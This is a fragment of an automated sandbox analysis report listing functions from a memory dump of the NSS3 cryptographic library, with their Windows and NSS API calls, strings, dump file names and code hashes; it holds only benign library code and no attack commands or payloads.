PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CECFDDE

Part of subcall function 6CED8800: TlsGetValue.KERNEL32(?,6CEE085A,00000000,?,6CE88369,?), ref: 6CED8821
Part of subcall function 6CED8800: TlsGetValue.KERNEL32(?,?,6CEE085A,00000000,?,6CE88369,?), ref: 6CED883D
Part of subcall function 6CED8800: EnterCriticalSection.KERNEL32(?,?,?,6CEE085A,00000000,?,6CE88369,?), ref: 6CED8856
Part of subcall function 6CED8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CED8887
Part of subcall function 6CED8800: PR_Unlock.NSS3(?,?,?,?,6CEE085A,00000000,?,6CE88369,?), ref: 6CED8899

Strings

pkcs11:, xrefs: 6CECFC4F

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 69d0ddeda3754695c7b634b073b2298e845cfceffca4aa079209ca1625004695
Instruction ID: 2f2423b5873660bfc43cc5021ff3ebdfa0f308832eb60ca312988393d64d54b2
Opcode Fuzzy Hash: 69d0ddeda3754695c7b634b073b2298e845cfceffca4aa079209ca1625004695
Instruction Fuzzy Hash: 335106B5B002129BEB108F64DE40F9A3B75AF4535CF350129DD246BB42EB39E906CB93

Function 6CE0BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CE0BE02

Part of subcall function 6CF39C40: memcmp.VCRUNTIME140(?,00000000,6CE0C52B), ref: 6CF39D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE0BE9F

Strings

database corruption, xrefs: 6CE0BE93
%s at line %d of [%.10s], xrefs: 6CE0BE98
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE0BE89

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 63f93c2c46c160ccc0f91657758bb3b7a480e62ea45875a016a838c2cb84b509
Instruction ID: 0be7515cae0cd81063c75ed220fd5982e8a890814a1a920b1b1e73b7101a75eb
Opcode Fuzzy Hash: 63f93c2c46c160ccc0f91657758bb3b7a480e62ea45875a016a838c2cb84b509
Instruction Fuzzy Hash: 61312531F4425E8BC700CF698894AABBBB1BF42318B288554EE585BB42D771ED26C7D0

Function 6CE81EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CE84C64,?,-00000004), ref: 6CE81EE2

Part of subcall function 6CEE1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CE81D97,?,?), ref: 6CEE1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE84C64,?,-00000004), ref: 6CE81F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE84C64,?,-00000004), ref: 6CE81F37
DER_DecodeTimeChoice_Util.NSS3(?,dLl,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE84C64,?,-00000004), ref: 6CE81F53

Strings

dLl, xrefs: 6CE81F2B, 6CE81F51

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLl
API String ID: 3216063065-3939847266
Opcode ID: 337a68ac186e7646a364c61a372aed086b958dd2f9bd5d35fa8548b770712f3c
Instruction ID: 21a6173a69176a7faf12d1ff0f2b87473fd4b34680c58912e1e5b45644d0aff5
Opcode Fuzzy Hash: 337a68ac186e7646a364c61a372aed086b958dd2f9bd5d35fa8548b770712f3c
Instruction Fuzzy Hash: A4218371515205AFC700CFA9DD01A9BB7F9AF89699F10092DE858C3B41F330E559C7A2

Function 6CE70DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CE70BDE), ref: 6CE70DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CE70BDE), ref: 6CE70DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CE70BDE), ref: 6CE70DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CE70BDE), ref: 6CE70E32

Strings

%s incr => %d (find lib), xrefs: 6CE70E2D

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 1a221e8982e2085fa7d477b7ae54c363f51facd6c70a9e7889504c99bae46363
Instruction ID: e419d5e338b6cb65c9ac866a997f82f4fc3e5be5c76630f2b8c44331f6cd3f17
Opcode Fuzzy Hash: 1a221e8982e2085fa7d477b7ae54c363f51facd6c70a9e7889504c99bae46363
Instruction Fuzzy Hash: 6F01D472B00214AFEB209F259C45E1773BCDF45A09B25486DE909D3B41E762FC18C6E2

Function 6CE19C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CE19CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CE19D45
EnterCriticalSection.KERNEL32(?), ref: 6CE19D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CE19DDE

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 6a9da0fd6c12c54aeae0a86339f0bf503631711472d6e5b81207fa33fce39e23
Instruction ID: 49de65209939423682e8dca397e780239c677bd2398a8b6ae03b05337bc3d87f
Opcode Fuzzy Hash: 6a9da0fd6c12c54aeae0a86339f0bf503631711472d6e5b81207fa33fce39e23
Instruction Fuzzy Hash: 64A19031F181009BEB88AF65D88977E7776AB4B319F28012DD50647F40DB39E956CB82

Function 6CEA1E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CEA1ECC

Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490AB
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490C9
Part of subcall function 6CF49090: EnterCriticalSection.KERNEL32 ref: 6CF490E5
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF49116
Part of subcall function 6CF49090: LeaveCriticalSection.KERNEL32 ref: 6CF4913F

TlsGetValue.KERNEL32 ref: 6CEA1EDF
EnterCriticalSection.KERNEL32(?), ref: 6CEA1EEF
PR_ExitMonitor.NSS3(?), ref: 6CEA1F37
PR_Unlock.NSS3(?), ref: 6CEA1F44

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 443ec8daa5815d89df3924ed2902cf9d37f491c7cbbf3a1088eeac6ff798030a
Instruction ID: f6e07dae984f278dffd3967161201309d9f437269dc390d1b11da6383791885b
Opcode Fuzzy Hash: 443ec8daa5815d89df3924ed2902cf9d37f491c7cbbf3a1088eeac6ff798030a
Instruction Fuzzy Hash: EC71CF76904301DFD700CFA5D841A4ABBF1BF88358F24492DE89997B21E731F95ACB92

Function 6CF2DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CF2DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CF2DE77

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: d9dd5c9355a9554cd02c1f0b11c5284432e6811e41855393e1a6bee44ebc1e02
Instruction ID: 5bf28abc92bbd3789610dc16ceab123996b61a622d4ed43ea9905363eeedd485
Opcode Fuzzy Hash: d9dd5c9355a9554cd02c1f0b11c5284432e6811e41855393e1a6bee44ebc1e02
Instruction Fuzzy Hash: 2E717571A00718CFDB20CFAAC58078AB7B4FF89718F25816DD959AB712D774A941CF90

Function 6CE9DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CE9AB10: DeleteCriticalSection.KERNEL32(D958E852,6CEA1397,5B5F5EC0,?,?,6CE9B1EE,2404110F,?,?), ref: 6CE9AB3C
Part of subcall function 6CE9AB10: free.MOZGLUE(D958E836,?,6CE9B1EE,2404110F,?,?), ref: 6CE9AB49
Part of subcall function 6CE9AB10: DeleteCriticalSection.KERNEL32(5D5E6D09), ref: 6CE9AB5C
Part of subcall function 6CE9AB10: free.MOZGLUE(5D5E6CFD), ref: 6CE9AB63
Part of subcall function 6CE9AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE9AB6F
Part of subcall function 6CE9AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE9AB76

TlsGetValue.KERNEL32(?,?,6CE9B266,6CEA15C6,?,?,6CEA15C6), ref: 6CE9DFDA
EnterCriticalSection.KERNEL32(?,?,?,6CE9B266,6CEA15C6,?,?,6CEA15C6), ref: 6CE9DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CE9B266,6CEA15C6,?,?,6CEA15C6), ref: 6CE9E029
PK11_IsLoggedIn.NSS3 ref: 6CE9E046

Part of subcall function 6CEA8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CEA8FAF
Part of subcall function 6CEA8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CEA8FD1
Part of subcall function 6CEA8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CEA8FFA
Part of subcall function 6CEA8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CEA9013
Part of subcall function 6CEA8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CEA9042
Part of subcall function 6CEA8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CEA905A
Part of subcall function 6CEA8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CEA9073
Part of subcall function 6CEA8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE9DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CEA9111

PR_Unlock.NSS3(?,?,?,?,6CE9B266,6CEA15C6,?,?,6CEA15C6), ref: 6CE9E149

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 486af36ff82f1462089c9cb67c479c77f79215748c6be4dbdf86ab71f91c6b03
Instruction ID: 64d7af96bcc7973c4631769b7b7c5a4697e266ea343607bffd1ef5ad7ab8bc70
Opcode Fuzzy Hash: 486af36ff82f1462089c9cb67c479c77f79215748c6be4dbdf86ab71f91c6b03
Instruction Fuzzy Hash: B3516774600B01CFDB10DF29C48476ABBF0BF44309F29896CDA998BB51E731E885CB82

Function 6CEABE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CEABF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEABF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE89F71,?,?,00000000), ref: 6CEABF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CEABFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEAC014

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: e47395f6c12700ee136d30a6ad826809ace63f291d5ce5a7884581e5dff9b702
Instruction ID: bf18ab93d0c69f1b2c36f4294e62e59520d6fb96d83e6d339dfd963990a5af43
Opcode Fuzzy Hash: e47395f6c12700ee136d30a6ad826809ace63f291d5ce5a7884581e5dff9b702
Instruction Fuzzy Hash: 6841C975E012099FEB00CEA5CC41BBA77B5AF4920CF354128D915DBB41FB35D946CB91

Function 6CE7EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE7EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CE7EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CE7EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE7EEEB
free.MOZGLUE(?), ref: 6CE7EEF6

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 9c280ad588ec1803e899fb554f736a25859d813697620b24472c465e0afd233b
Instruction ID: 7969b4557b9bf9818d6713a24d86d6c14b26aacfa6b56c173d4af2d9f8338f0c
Opcode Fuzzy Hash: 9c280ad588ec1803e899fb554f736a25859d813697620b24472c465e0afd233b
Instruction Fuzzy Hash: 9931D671A00A01AFEB309F2CCC457A67BB4FB46318F240929E95A87B50EB31E554C7E2

Function 6CE91F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE91F1C

Part of subcall function 6CEE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE887ED,00000800,6CE7EF74,00000000), ref: 6CEE1000
Part of subcall function 6CEE0FF0: PR_NewLock.NSS3(?,00000800,6CE7EF74,00000000), ref: 6CEE1016
Part of subcall function 6CEE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE887ED,00000008,?,00000800,6CE7EF74,00000000), ref: 6CEE102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6CFA9EBC), ref: 6CE91FB8
SEC_ASN1EncodeItem_Util.NSS3(6CFA9E9C,?,?,6CFA9E9C), ref: 6CE9200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CE92020

Part of subcall function 6CE86A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CE8AD50,?,?), ref: 6CE86A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE92030

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: ee291e331d1fe9f5e34e84b0eafc4afcdea09f17c75646abb5644981af1b7dde
Instruction ID: 6fab48af93ac1063badbbe57d26904b9a16d32bbd6611ac75c68a54b62635df1
Opcode Fuzzy Hash: ee291e331d1fe9f5e34e84b0eafc4afcdea09f17c75646abb5644981af1b7dde
Instruction Fuzzy Hash: D5214876901505BBEB009A55DC41FAA777CFF5631CF340224E82996F80E732E529C7E1

Function 6CE81DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE81E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE81E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE81E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE81E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE81EAD

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 84385515363b1c7e8a9ceec3eb87c12c45ab447ddd18d79337aea4c046aca9c5
Instruction ID: 382c8ff7e82a370c72e8d77d15c25fb671b81585a18b31648edcd90b11356b5b
Opcode Fuzzy Hash: 84385515363b1c7e8a9ceec3eb87c12c45ab447ddd18d79337aea4c046aca9c5
Instruction Fuzzy Hash: FC21F572E05714A7E7008EE8DC40B9BB3B49B89369F244638ED6D5B781E730D90987E2

Function 6CF91E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF91E5C

Part of subcall function 6CF49BF0: TlsGetValue.KERNEL32(?,?,?,6CF90A75), ref: 6CF49C07

PR_Lock.NSS3(00000000), ref: 6CF91E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF91EAB
PR_GetCurrentThread.NSS3 ref: 6CF91ED0
PR_Unlock.NSS3(?), ref: 6CF91EE8

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: dd4bbb5d43763d8ed93ea8541975430cbe6aa8e3e15fe3adb346cbfce2c65fab
Instruction ID: 4c7ab93bd87fbacaec2a1d6a9ebd5ad90f0a4db4e28f28edc3bdcb50287ff680
Opcode Fuzzy Hash: dd4bbb5d43763d8ed93ea8541975430cbe6aa8e3e15fe3adb346cbfce2c65fab
Instruction Fuzzy Hash: DB21FF75B04512ABEB50EF19D840A86B7B8FF44718B24C239D8158BB41D730F920CBC1

Function 6CEDBE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE8E708,00000000,00000000,00000004,00000000), ref: 6CEDBE6A

Part of subcall function 6CEE0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE904DC,?), ref: 6CEDBE7E

Part of subcall function 6CEDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CED8D2D,?,00000000,?), ref: 6CEDFB85
Part of subcall function 6CEDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEDFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEDBEC2
